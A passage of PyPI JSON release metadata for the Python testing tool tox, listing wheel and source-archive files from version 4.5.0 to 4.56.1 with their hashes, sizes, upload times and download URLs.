256":"13889f6dad9f75ac076e811859e28079323436bf566a665976d68c9ba7d579f1"},"digests":{"blake2b_256":"fd17784b36f796047798b029c465f024bf05f24936fa6ea80b394f3c1abed76a","md5":"7fb439d8aa690d9b74136a37d5b3fec9","sha256":"dae5823ac7b31514d33c6aabc332f19187d7842d1e07d88f00dd329e79a1737d"},"downloads":-1,"filename":"tox-4.5.0-py3-none-any.whl","has_sig":false,"md5_digest":"7fb439d8aa690d9b74136a37d5b3fec9","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":148962,"upload_time":"2023-04-24T18:09:28","upload_time_iso_8601":"2023-04-24T18:09:28.992766Z","url":"https://files.pythonhosted.org/packages/fd/17/784b36f796047798b029c465f024bf05f24936fa6ea80b394f3c1abed76a/tox-4.5.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"f61b2c5303159b5f68f2c262fdd898f03e86782b22169db7276f258c8154c0d1","md5":"b610f6d06e14fd12a4a454b521149529","sha256":"231382d5ecda16878c572a252158219a5d43936fd49da92a0d811ec0debfef87"},"downloads":-1,"filename":"tox-4.5.0.tar.gz","has_sig":false,"md5_digest":"b610f6d06e14fd12a4a454b521149529","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":170132,"upload_time":"2023-04-24T18:09:31","upload_time_iso_8601":"2023-04-24T18:09:31.604051Z","url":"https://files.pythonhosted.org/packages/f6/1b/2c5303159b5f68f2c262fdd898f03e86782b22169db7276f258c8154c0d1/tox-4.5.0.tar.gz","yanked":false,"yanked_reason":null}],"4.5.1":[{"comment_text":"","core-metadata":{"sha256":"0c7cf8c671d4f3b8a3721aa3361625ffd2bc39aa3d47e47d5fc899bf47fc046f"},"digests":{"blake2b_256":"29eb5a56994b37d9141a6c7fa6ddb5c76a50b234a424eae4e79c56f33b61c686","md5":"5df9ec07bae9c4cf66210f8842dbfaa5","sha256":"d25a2e6cb261adc489604fafd76cd689efeadfa79709965e965668d6d3f63046"},"downloads":-1,"filename":"tox-4.5.1-py3-none-any.whl","has_sig":false,"md5_digest":"5df9ec07bae9c4cf66210f8842dbfaa5","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":148961,"upload_time":"2023-04-26T16:34:37","upload_time_iso_8601":"2023-04-26T16:34:37.482102Z","url":"https://files.pythonhosted.org/packages/29/eb/5a56994b37d9141a6c7fa6ddb5c76a50b234a424eae4e79c56f33b61c686/tox-4.5.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"1ad0db430b1b14724899f96cd832d71ae98de72bbe839b00d4537941807faac1","md5":"3cdd038fe595aefc30ee58e96f48237b","sha256":"5a2eac5fb816779dfdf5cb00fecbc27eb0524e4626626bb1de84747b24cacc56"},"downloads":-1,"filename":"tox-4.5.1.tar.gz","has_sig":false,"md5_digest":"3cdd038fe595aefc30ee58e96f48237b","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":170137,"upload_time":"2023-04-26T16:34:39","upload_time_iso_8601":"2023-04-26T16:34:39.626502Z","url":"https://files.pythonhosted.org/packages/1a/d0/db430b1b14724899f96cd832d71ae98de72bbe839b00d4537941807faac1/tox-4.5.1.tar.gz","yanked":false,"yanked_reason":null}],"4.5.1.1":[{"comment_text":"","core-metadata":{"sha256":"50904ef20a5830bf071b1419b5782d382213646a1a0d4773467fe183e3cc05b9"},"digests":{"blake2b_256":"e07c0dce4f4dcbcf4a7bfe7f01b89de9089e331ad3b6c6ec031f5bee2ec28a99","md5":"ba5ad043f9b0efb80a5a2aefd53f99f0","sha256":"8fc32dd8b06884d4e1da28ee88661289f294517acbd88078e4ca3cbba1ad9470"},"downloads":-1,"filename":"tox-4.5.1.1-py3-none-any.whl","has_sig":false,"md5_digest":"ba5ad043f9b0efb80a5a2aefd53f99f0","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":148987,"upload_time":"2023-08-31T16:05:05","upload_time_iso_8601":"2023-08-31T16:05:05.608942Z","url":"https://files.pythonhosted.org/packages/e0/7c/0dce4f4dcbcf4a7bfe7f01b89de9089e331ad3b6c6ec031f5bee2ec28a99/tox-4.5.1.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"93c6e96582336d030c822c0ef458405dc4e82925e360074ebd9a1b2b6039012b","md5":"109255182cab72a4aa315974de70f944","sha256":"d0b40ff74b8da381b2d0a2f90c44e48c65ab0bc0cd465b965a0397426355775f"},"downloads":-1,"filename":"tox-4.5.1.1.tar.gz","has_sig":false,"md5_digest":"109255182cab72a4aa315974de70f944","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":170143,"upload_time":"2023-08-31T16:05:07","upload_time_iso_8601":"2023-08-31T16:05:07.373506Z","url":"https://files.pythonhosted.org/packages/93/c6/e96582336d030c822c0ef458405dc4e82925e360074ebd9a1b2b6039012b/tox-4.5.1.1.tar.gz","yanked":false,"yanked_reason":null}],"4.5.2":[{"comment_text":"","core-metadata":{"sha256":"09e01e5ccd98fa2513f0247173db9b0e354479044734a7579716011a2d2777ff"},"digests":{"blake2b_256":"eb2a1cf03754356acd0fa2d89c825878e499072488a455e57554db262d9bcd93","md5":"6698145bab5b3d676a13a7483b2fdf9f","sha256":"f1a9541b292aa0449f6c7bb67dc0073f25f9086413c3922fe47f5168cbf7b2f4"},"downloads":-1,"filename":"tox-4.5.2-py3-none-any.whl","has_sig":false,"md5_digest":"6698145bab5b3d676a13a7483b2fdf9f","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":148992,"upload_time":"2023-05-27T23:16:52","upload_time_iso_8601":"2023-05-27T23:16:52.389287Z","url":"https://files.pythonhosted.org/packages/eb/2a/1cf03754356acd0fa2d89c825878e499072488a455e57554db262d9bcd93/tox-4.5.2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"71da0cb03d5659fc754dc467489acd66cdf8042e30b1255c59f71790660e0ce1","md5":"6bf25c1f794c01b7381becb961a3146f","sha256":"ad87fb7a10ef476afb6eb7e408808057f42976ef0d30ad5fe023099ba493ce58"},"downloads":-1,"filename":"tox-4.5.2.tar.gz","has_sig":false,"md5_digest":"6bf25c1f794c01b7381becb961a3146f","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":170336,"upload_time":"2023-05-27T23:16:54","upload_time_iso_8601":"2023-05-27T23:16:54.430208Z","url":"https://files.pythonhosted.org/packages/71/da/0cb03d5659fc754dc467489acd66cdf8042e30b1255c59f71790660e0ce1/tox-4.5.2.tar.gz","yanked":false,"yanked_reason":null}],"4.50.0":[{"comment_text":null,"core-metadata":{"sha256":"eb152bcdeec3c8706aa976cf28153f2f9138adb49297cd2b1136782618307f6d"},"digests":{"blake2b_256":"c1ad16a2cf605b81a2d615ee6fe1f7513afcdfee2e71cd52454198b55b84f572","md5":"cfe6bf4149d14ffc8be836706c66177b","sha256":"fb0bf14043b8d9d6cbe56b322b2860da50f6b898788ebfec621b84396dc948d6"},"downloads":-1,"filename":"tox-4.50.0-py3-none-any.whl","has_sig":false,"md5_digest":"cfe6bf4149d14ffc8be836706c66177b","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":207490,"upload_time":"2026-03-17T16:54:07","upload_time_iso_8601":"2026-03-17T16:54:07.214669Z","url":"https://files.pythonhosted.org/packages/c1/ad/16a2cf605b81a2d615ee6fe1f7513afcdfee2e71cd52454198b55b84f572/tox-4.50.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"e0199feeea84d193333ba022c1154cdf70af14b5cb531911d968d7a47ce2b899","md5":"c6bbd0bd5d38326e7d460d3fdd833c38","sha256":"1d9c1d678bb5c1a2d59c19ae58df7d033578ac1d91c5625aaa62aac792093401"},"downloads":-1,"filename":"tox-4.50.0.tar.gz","has_sig":false,"md5_digest":"c6bbd0bd5d38326e7d460d3fdd833c38","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":264526,"upload_time":"2026-03-17T16:54:09","upload_time_iso_8601":"2026-03-17T16:54:09.145818Z","url":"https://files.pythonhosted.org/packages/e0/19/9feeea84d193333ba022c1154cdf70af14b5cb531911d968d7a47ce2b899/tox-4.50.0.tar.gz","yanked":false,"yanked_reason":null}],"4.50.1":[{"comment_text":null,"core-metadata":{"sha256":"c69e64f1016a9c8251946611b0dd81a1c4a3ad1366ea702fa051abada0ec1768"},"digests":{"blake2b_256":"4b1e0c6f129448a7a16e308f32c8e44b963568b9303dad3f8cdad147dd058412","md5":"0352ae21afe6ba75688323653d4cad7f","sha256":"4e6f6da3c8d8d8662c28981daf1c1e08d3fd68d2eb14e194e3919c9a3e0e11c0"},"downloads":-1,"filename":"tox-4.50.1-py3-none-any.whl","has_sig":false,"md5_digest":"0352ae21afe6ba75688323653d4cad7f","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":207627,"upload_time":"2026-03-19T01:56:59","upload_time_iso_8601":"2026-03-19T01:56:59.200604Z","url":"https://files.pythonhosted.org/packages/4b/1e/0c6f129448a7a16e308f32c8e44b963568b9303dad3f8cdad147dd058412/tox-4.50.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"82c7ad217296d41b2bdd2b53179cdd9c6f98642186990be484821856d7fda81a","md5":"7913e11ef65971497ea766bf1ece7690","sha256":"60c74e52034465b567589c904c963b44353d16097ab96e9d235a07e7666a6f82"},"downloads":-1,"filename":"tox-4.50.1.tar.gz","has_sig":false,"md5_digest":"7913e11ef65971497ea766bf1ece7690","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":265088,"upload_time":"2026-03-19T01:57:01","upload_time_iso_8601":"2026-03-19T01:57:01.139541Z","url":"https://files.pythonhosted.org/packages/82/c7/ad217296d41b2bdd2b53179cdd9c6f98642186990be484821856d7fda81a/tox-4.50.1.tar.gz","yanked":false,"yanked_reason":null}],"4.50.2":[{"comment_text":null,"core-metadata":{"sha256":"39382351465a6089803ea537334f8498e1ecf3280ad3f9b0bc8810f017fc61f3"},"digests":{"blake2b_256":"1501a51b29e4625537634f6e8378688dc99ff2fd29852622a1863ffdc4e551e4","md5":"a12a95feebfd5ab71676f10bc026572a","sha256":"0679e0fc82884275468d85592f30865e00609e4f1a7ee1ac7b561ea7036fe493"},"downloads":-1,"filename":"tox-4.50.2-py3-none-any.whl","has_sig":false,"md5_digest":"a12a95feebfd5ab71676f10bc026572a","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":207628,"upload_time":"2026-03-19T20:44:41","upload_time_iso_8601":"2026-03-19T20:44:41.121675Z","url":"https://files.pythonhosted.org/packages/15/01/a51b29e4625537634f6e8378688dc99ff2fd29852622a1863ffdc4e551e4/tox-4.50.2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"655a4eafe84380d782a582ed22769dbad486d300fa97724c1a164d944a5dbd19","md5":"df3d8cf24580d45771ed9ae345f4ba3f","sha256":"dd9e99fcf54660cde07bf2def4a242990447f440038e1d7c5133509aec2f7184"},"downloads":-1,"filename":"tox-4.50.2.tar.gz","has_sig":false,"md5_digest":"df3d8cf24580d45771ed9ae345f4ba3f","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":266264,"upload_time":"2026-03-19T20:44:42","upload_time_iso_8601":"2026-03-19T20:44:42.916050Z","url":"https://files.pythonhosted.org/packages/65/5a/4eafe84380d782a582ed22769dbad486d300fa97724c1a164d944a5dbd19/tox-4.50.2.tar.gz","yanked":false,"yanked_reason":null}],"4.50.3":[{"comment_text":null,"core-metadata":{"sha256":"d13efd6c2d3bdd944575cb0b2a5156c1f265cc7be8e3ffb566537d9825aa24fc"},"digests":{"blake2b_256":"feab369d60db70d9031341082842071541f2497741b04140816c7df82734faf6","md5":"157c0f5e70c1d5ae5cd1becec4246dcb","sha256":"5e788a512bfe6f7447e0c8d7c1b666eb2e56e5e676c65717490423bec37d1a07"},"downloads":-1,"filename":"tox-4.50.3-py3-none-any.whl","has_sig":false,"md5_digest":"157c0f5e70c1d5ae5cd1becec4246dcb","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":207667,"upload_time":"2026-03-20T01:17:57","upload_time_iso_8601":"2026-03-20T01:17:57.553150Z","url":"https://files.pythonhosted.org/packages/fe/ab/369d60db70d9031341082842071541f2497741b04140816c7df82734faf6/tox-4.50.3-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"ae45e4c0ac54af794f992790abe350770bb1fa6d5a85b25d47b6182c83ec7915","md5":"dd75d73933630354f9a4eb0b1f8f2465","sha256":"c745641de6cc4f19d066bd9f98c1c25f7affb005b381b7f3694a1f142ea0946b"},"downloads":-1,"filename":"tox-4.50.3.tar.gz","has_sig":false,"md5_digest":"dd75d73933630354f9a4eb0b1f8f2465","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":266455,"upload_time":"2026-03-20T01:17:59","upload_time_iso_8601":"2026-03-20T01:17:59.351032Z","url":"https://files.pythonhosted.org/packages/ae/45/e4c0ac54af794f992790abe350770bb1fa6d5a85b25d47b6182c83ec7915/tox-4.50.3.tar.gz","yanked":false,"yanked_reason":null}],"4.51.0":[{"comment_text":null,"core-metadata":{"sha256":"9e7e5492908282d13ea16d566848a3a205f36122a7d55d4cb960358626036c20"},"digests":{"blake2b_256":"b5132795d1a323243af993c1689be41f124193fc7f955a7549c7442ea7b014ef","md5":"ea75733a8049b43ca9396c7e6bbda186","sha256":"df848c4d9864ec6333c6e2b427fdc182b9f1d840d2bed072997bd48104269182"},"downloads":-1,"filename":"tox-4.51.0-py3-none-any.whl","has_sig":false,"md5_digest":"ea75733a8049b43ca9396c7e6bbda186","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":208352,"upload_time":"2026-03-27T16:54:31","upload_time_iso_8601":"2026-03-27T16:54:31.271582Z","url":"https://files.pythonhosted.org/packages/b5/13/2795d1a323243af993c1689be41f124193fc7f955a7549c7442ea7b014ef/tox-4.51.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"d1fb0ce24c8d1322f92be112ffb915cfa9ee7d0886042aa91baf76ba68344410","md5":"08fda38c875960d460645d0206c35e71","sha256":"e3967c0c2d7318d0b14a38d8cbb6ec2d12008574d612c1774fd00d376c7d5e6a"},"downloads":-1,"filename":"tox-4.51.0.tar.gz","has_sig":false,"md5_digest":"08fda38c875960d460645d0206c35e71","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":268657,"upload_time":"2026-03-27T16:54:32","upload_time_iso_8601":"2026-03-27T16:54:32.641507Z","url":"https://files.pythonhosted.org/packages/d1/fb/0ce24c8d1322f92be112ffb915cfa9ee7d0886042aa91baf76ba68344410/tox-4.51.0.tar.gz","yanked":false,"yanked_reason":null}],"4.52.0":[{"comment_text":null,"core-metadata":{"sha256":"92642951e6c0e5ba8080042803c4c789efa94dd1aee6774b82205a7ed1676926"},"digests":{"blake2b_256":"720ea995b285d8aa0e6f0c22bf80cf57be3e9f3811f0ea8b2d031219467f883b","md5":"0e9b9ef729d6338dea76b48754feb7e5","sha256":"624d8ea4a8c6d5e8d168eedf0e318d736fb22e83ca83137d001ac65ffdec46fd"},"downloads":-1,"filename":"tox-4.52.0-py3-none-any.whl","has_sig":false,"md5_digest":"0e9b9ef729d6338dea76b48754feb7e5","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":211796,"upload_time":"2026-03-30T20:33:25","upload_time_iso_8601":"2026-03-30T20:33:25.621939Z","url":"https://files.pythonhosted.org/packages/72/0e/a995b285d8aa0e6f0c22bf80cf57be3e9f3811f0ea8b2d031219467f883b/tox-4.52.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"596ead613e2516a653dc6591186aab726d84d769c6352c0c3dc8fc8ed213168b","md5":"a756fbd701970c24a96a26a234ee5663","sha256":"6054abf5c8b61d58776fbec991f9bf0d34bb883862beb93d2fe55601ef3977c9"},"downloads":-1,"filename":"tox-4.52.0.tar.gz","has_sig":false,"md5_digest":"a756fbd701970c24a96a26a234ee5663","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":273077,"upload_time":"2026-03-30T20:33:26","upload_time_iso_8601":"2026-03-30T20:33:26.958602Z","url":"https://files.pythonhosted.org/packages/59/6e/ad613e2516a653dc6591186aab726d84d769c6352c0c3dc8fc8ed213168b/tox-4.52.0.tar.gz","yanked":false,"yanked_reason":null}],"4.52.1":[{"comment_text":null,"core-metadata":{"sha256":"73ada5aa3bce97acf0897d60c9404d69e60b44e6f8ababfc7d843f8c06fc950e"},"digests":{"blake2b_256":"3a700d4fb1eefa05a24ca2f58272b4c4718090dd5ed7e38b54b9a7e757bfafc8","md5":"12e98ed7000647ebc48ac65a8a9562a0","sha256":"3c4eef0a64f319df0b67dacdb7edcfeda87c8cc722581af5d98dd54f3ffdd8ef"},"downloads":-1,"filename":"tox-4.52.1-py3-none-any.whl","has_sig":false,"md5_digest":"12e98ed7000647ebc48ac65a8a9562a0","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":212179,"upload_time":"2026-04-09T16:46:44","upload_time_iso_8601":"2026-04-09T16:46:44.500183Z","url":"https://files.pythonhosted.org/packages/3a/70/0d4fb1eefa05a24ca2f58272b4c4718090dd5ed7e38b54b9a7e757bfafc8/tox-4.52.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"bcfbd7d634eb513f741ffd40f4c262b7feea19d5c616882eb554045c620670a6","md5":"e5986c708b13bb150c9469dc6cd5d8f5","sha256":"297e71ea0ae4ef3acc45cb5fdf080b74537e6ecb5eea7d4646fa7322ca10473e"},"downloads":-1,"filename":"tox-4.52.1.tar.gz","has_sig":false,"md5_digest":"e5986c708b13bb150c9469dc6cd5d8f5","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":273730,"upload_time":"2026-04-09T16:46:45","upload_time_iso_8601":"2026-04-09T16:46:45.838233Z","url":"https://files.pythonhosted.org/packages/bc/fb/d7d634eb513f741ffd40f4c262b7feea19d5c616882eb554045c620670a6/tox-4.52.1.tar.gz","yanked":false,"yanked_reason":null}],"4.53.0":[{"comment_text":null,"core-metadata":{"sha256":"eb7a170652d3db1e7d2c58b09238e935bf2f96b0299a1ff3495abba857f50df2"},"digests":{"blake2b_256":"160302e2a03f3756cfb66e7e1bac41b06953f12cec75ddb961d56695d4d43dc4","md5":"03409697ceab4017797c3acf93c61214","sha256":"cc4e716d18c4889aa179d785175c438fa60c35deef20ce689ec288d8fb656096"},"downloads":-1,"filename":"tox-4.53.0-py3-none-any.whl","has_sig":false,"md5_digest":"03409697ceab4017797c3acf93c61214","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":212164,"upload_time":"2026-04-14T13:44:11","upload_time_iso_8601":"2026-04-14T13:44:11.997900Z","url":"https://files.pythonhosted.org/packages/16/03/02e2a03f3756cfb66e7e1bac41b06953f12cec75ddb961d56695d4d43dc4/tox-4.53.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"0401d87a00063fa670ce4c48a9706b615a95ddf2c9ef5558d43af6071f166fd4","md5":"249421ca5ce6eb0a9ea81f2d12f7652f","sha256":"62c780e42f87d34ee60f2ea20342156253794fdcbd6885fd797d98ee05009f22"},"downloads":-1,"filename":"tox-4.53.0.tar.gz","has_sig":false,"md5_digest":"249421ca5ce6eb0a9ea81f2d12f7652f","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":274048,"upload_time":"2026-04-14T13:44:13","upload_time_iso_8601":"2026-04-14T13:44:13.782448Z","url":"https://files.pythonhosted.org/packages/04/01/d87a00063fa670ce4c48a9706b615a95ddf2c9ef5558d43af6071f166fd4/tox-4.53.0.tar.gz","yanked":false,"yanked_reason":null}],"4.53.1":[{"comment_text":null,"core-metadata":{"sha256":"cf61200f9595147dd66542aade7a53a2f2aaa675910c9106ff911ef5d6d5aebb"},"digests":{"blake2b_256":"0aa75719188f4ace9445b0fb139290e2abce14cc19e6a5bd616e72dad085ebe8","md5":"39675f6cb5f48eb3fd82017f768b40d6","sha256":"4a9948607e976a337c22d64a1b4fafd486125e82f00ab6ce32fa6cacc23f48b1"},"downloads":-1,"filename":"tox-4.53.1-py3-none-any.whl","has_sig":false,"md5_digest":"39675f6cb5f48eb3fd82017f768b40d6","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":213827,"upload_time":"2026-05-02T08:34:39","upload_time_iso_8601":"2026-05-02T08:34:39.786366Z","url":"https://files.pythonhosted.org/packages/0a/a7/5719188f4ace9445b0fb139290e2abce14cc19e6a5bd616e72dad085ebe8/tox-4.53.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"a0d7a8e0f889eb6872740e2f013a93a8f9c6c23c3f02fe0911bbd91673615636","md5":"baa664692a9c806703fea0410bcbacd6","sha256":"7be9805ed4a34242510c7acc9a7e3a01a35942e08f31f8bd69067c3a37130afc"},"downloads":-1,"filename":"tox-4.53.1.tar.gz","has_sig":false,"md5_digest":"baa664692a9c806703fea0410bcbacd6","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":276809,"upload_time":"2026-05-02T08:34:41","upload_time_iso_8601":"2026-05-02T08:34:41.655018Z","url":"https://files.pythonhosted.org/packages/a0/d7/a8e0f889eb6872740e2f013a93a8f9c6c23c3f02fe0911bbd91673615636/tox-4.53.1.tar.gz","yanked":false,"yanked_reason":null}],"4.54.0":[{"comment_text":null,"core-metadata":{"sha256":"1abf22bed9ee820bbf59194e01b0ee93bfa316163381baa0dc38e11d8b13c521"},"digests":{"blake2b_256":"261820cf56a76c5d6117547179db9b5d31cc56e3e90507d1b0b748da74aa95c5","md5":"a3a5e3ead8d682d3b9e79ca182c4f88c","sha256":"a2d7c1177242ae9c3d9e404039e9f945ce16a3e5dfc66972c643e27d7e764f4b"},"downloads":-1,"filename":"tox-4.54.0-py3-none-any.whl","has_sig":false,"md5_digest":"a3a5e3ead8d682d3b9e79ca182c4f88c","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":214527,"upload_time":"2026-05-12T19:13:04","upload_time_iso_8601":"2026-05-12T19:13:04.334816Z","url":"https://files.pythonhosted.org/packages/26/18/20cf56a76c5d6117547179db9b5d31cc56e3e90507d1b0b748da74aa95c5/tox-4.54.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"172c7ca5edb5ecd6bcc5cc926fe87e62a84dcd3cbd03a32f9d0bee98d2bee7cf","md5":"6ac87c5f33de2f5868fb83c982485919","sha256":"21e36fd8256590379620848d0b03b52f4d541b65b749de1a17c3e616978dad58"},"downloads":-1,"filename":"tox-4.54.0.tar.gz","has_sig":false,"md5_digest":"6ac87c5f33de2f5868fb83c982485919","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":279256,"upload_time":"2026-05-12T19:13:05","upload_time_iso_8601":"2026-05-12T19:13:05.937794Z","url":"https://files.pythonhosted.org/packages/17/2c/7ca5edb5ecd6bcc5cc926fe87e62a84dcd3cbd03a32f9d0bee98d2bee7cf/tox-4.54.0.tar.gz","yanked":false,"yanked_reason":null}],"4.55.0":[{"comment_text":null,"core-metadata":{"sha256":"35c292acbf488712255b04b9cd8baaef120b21eb718b034e8d6cbbef927f135e"},"digests":{"blake2b_256":"1177513bb4464c776eb523696285352b8ef98d8d8228dada6e591b0981f5b8e8","md5":"e7bd131781c6232f1b1d98801a535c87","sha256":"83603a222e7e2ffbeb9e92ed6516e31a0ce355b37aea13c82a2c5344274a9391"},"downloads":-1,"filename":"tox-4.55.0-py3-none-any.whl","has_sig":false,"md5_digest":"e7bd131781c6232f1b1d98801a535c87","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":214789,"upload_time":"2026-05-28T05:16:06","upload_time_iso_8601":"2026-05-28T05:16:06.431084Z","url":"https://files.pythonhosted.org/packages/11/77/513bb4464c776eb523696285352b8ef98d8d8228dada6e591b0981f5b8e8/tox-4.55.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"bb6ad5807709acd62487b425f147c225cb75c2c22251cac6e51943b07d573636","md5":"e38d8aa7f82b4e80782a66e5cbeb0f0a","sha256":"7ede1e1e70f8fe984f7985d7ca58a1e1c15fe9f8715897e38accc607c8de9f70"},"downloads":-1,"filename":"tox-4.55.0.tar.gz","has_sig":false,"md5_digest":"e38d8aa7f82b4e80782a66e5cbeb0f0a","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":279415,"upload_time":"2026-05-28T05:16:08","upload_time_iso_8601":"2026-05-28T05:16:08.099018Z","url":"https://files.pythonhosted.org/packages/bb/6a/d5807709acd62487b425f147c225cb75c2c22251cac6e51943b07d573636/tox-4.55.0.tar.gz","yanked":false,"yanked_reason":null}],"4.55.1":[{"comment_text":null,"core-metadata":{"sha256":"3763ca93afce0f06858573c688ec54a1ca55e5a6d4da7e59c862b7fbd9a76fd7"},"digests":{"blake2b_256":"bbfd394f00f3d3e23d87eb7b20276d88fe835e48780d3eb30e6f362428bb80c8","md5":"ab44dab02541c381f007978f583df5c8","sha256":"e2084be6dfdef96ba1bed4948e6a1f73613d6952e1477be5dca45653d4c053c8"},"downloads":-1,"filename":"tox-4.55.1-py3-none-any.whl","has_sig":false,"md5_digest":"ab44dab02541c381f007978f583df5c8","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":215360,"upload_time":"2026-06-03T20:01:01","upload_time_iso_8601":"2026-06-03T20:01:01.967959Z","url":"https://files.pythonhosted.org/packages/bb/fd/394f00f3d3e23d87eb7b20276d88fe835e48780d3eb30e6f362428bb80c8/tox-4.55.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"795b4f09156a3f7bf3c4fa23212717f097c59126d81e2c557e6fd872a62db38a","md5":"ad2fefd2b928d67cc593480f2997b016","sha256":"0678fbf26dd5b559b1ef128fa4388325920219322ebc8cc5f3497627c00f4472"},"downloads":-1,"filename":"tox-4.55.1.tar.gz","has_sig":false,"md5_digest":"ad2fefd2b928d67cc593480f2997b016","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":280676,"upload_time":"2026-06-03T20:01:03","upload_time_iso_8601":"2026-06-03T20:01:03.487641Z","url":"https://files.pythonhosted.org/packages/79/5b/4f09156a3f7bf3c4fa23212717f097c59126d81e2c557e6fd872a62db38a/tox-4.55.1.tar.gz","yanked":false,"yanked_reason":null}],"4.56.0":[{"comment_text":null,"core-metadata":{"sha256":"abfeb7cc0ca8d6c6aafe7907f1759d41eebf7d70eb11ea1ee4bdfb128214469f"},"digests":{"blake2b_256":"94f69705a464bf337109b5b0322a4b7fa240c03b170c84bb53438b542a1a5687","md5":"ef8f46bceb4214b1907d1444f56dc119","sha256":"538c472ccd7e7c7f5a5bcbb7f1268579941986d0eeaf7e644fc4a1004076bc05"},"downloads":-1,"filename":"tox-4.56.0-py3-none-any.whl","has_sig":false,"md5_digest":"ef8f46bceb4214b1907d1444f56dc119","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":216275,"upload_time":"2026-06-23T19:13:17","upload_time_iso_8601":"2026-06-23T19:13:17.431253Z","url":"https://files.pythonhosted.org/packages/94/f6/9705a464bf337109b5b0322a4b7fa240c03b170c84bb53438b542a1a5687/tox-4.56.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"d3e1079f2db5c7608547fa3a5b4c663ae79f37606ac9a4acc297d6b2fd3cc0cd","md5":"a6a406e8fe42b179a9ac300e2ac52cff","sha256":"9712ed24bae3b9963fe56140db5e3f1a86eed18ddcc35fff11d314038381fd23"},"downloads":-1,"filename":"tox-4.56.0.tar.gz","has_sig":false,"md5_digest":"a6a406e8fe42b179a9ac300e2ac52cff","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":282319,"upload_time":"2026-06-23T19:13:19","upload_time_iso_8601":"2026-06-23T19:13:19.128391Z","url":"https://files.pythonhosted.org/packages/d3/e1/079f2db5c7608547fa3a5b4c663ae79f37606ac9a4acc297d6b2fd3cc0cd/tox-4.56.0.tar.gz","yanked":false,"yanked_reason":null}],"4.56.1":[{"comment_text":null,"core-metadata":{"sha256":"1c92becb06ff5c1ba82955122b8dc0a44cd6e6f9be700d50396d97fe73da555f"},"digests":{"blake2b_256":"d897560a5dfde154619d9643b1e208119dddc29bbb35a38a4ce4d095c16cf8f0","md5":"8d98a77c7883b039c07a030237aa7ad4","sha256":"4d06b925c4dd67872099b39c5a46fba79a2169c5f6e32060f95a8b1181f0ef55"},"downloads":-1,"filename":"tox-4.56.1-py3-none-any.whl","has_sig":false,"md5_digest":"8d98a77c7883b039c07a030237aa7ad4","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":216469,"upload_time":"2026-06-25T06:18:35","upload_time_iso_8601":"2026-06-25T06:18:35.229523Z","url":"https://files.pythonhosted.org/packages/d8/97/560a5dfde154619d9643b1e208119dddc29bbb35a38a4ce4d095c16cf8f0/tox-4.56.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata"